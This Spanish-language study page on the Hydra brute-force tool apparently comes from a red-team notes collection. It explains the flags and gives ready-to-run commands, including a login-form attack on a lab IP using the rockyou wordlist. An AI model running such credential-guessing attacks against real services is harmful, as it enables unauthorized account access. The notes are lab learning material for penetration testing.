> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/apuntes/red-team/tools/hydra.md).

# Hydra

<figure><img src="/files/77G9II8Yx5TtNibCMO6a" alt=""><figcaption></figcaption></figure>

## Introducción

Hydra es una herramienta para ataques de fuerza bruta.

## Comandos

Comando básico

<pre class="language-bash"><code class="lang-bash"><strong>hydra -l HOST -p PASSWORD IP SERVICE
</strong></code></pre>

Comando elaborado

```bash
hydra -l HOST -P PASSWORD.txt SERVER SERVICE IP protocolo -t 64 -o Hydraseña.txt
```

## Flags

`-l`: Username

`-p`: Password

`-L`: Username list&#x20;

`-P`: Password list

`-t`: Aumentar la velocidad del craqueo

`-o`: Para sacarlo a un archivo

`-V`:  Verbose

`-d`: Modo debug, muestra todo el proceso

Your Hydra session may face interruptions for unexpected reasons. Fear not; Hydra has a built-in resumption function callable with the `-R` option:

```bash
hydra -R
```

## Fuerza bruta panel de login

Para poder realizar este ataque hay que indicarle a *hydra* el método de envió, la ruta donde encontrar el panel de login, los campos para el payload y el mensaje de error que aparece al realizar un inicio de sesión incorrecto. ([Video](https://www.youtube.com/watch?v=XAlcVyx5FMA))

* Método -> POST
* Ruta -> /login.php
* Campos -> username=medusa\&password=`^PASS^`
* Mensaje de error -> Invalid credentials

{% code overflow="wrap" %}

```bash
hydra -l medusa -P /usr/share/wordlists/rockyou.txt 172.17.0.2 -t 64 http-post-form "/login.php:user=medusa&password=^PASS^:Invalid credentials"
```

{% endcode %}

Con ^PASS^ indicamos el campo donde queremos que ejecute el payload

## Documentación

* [Hydra oficial](https://github.com/vanhauser-thc/thc-hydra)
* [Hydra Kali](https://www.kali.org/tools/hydra/)
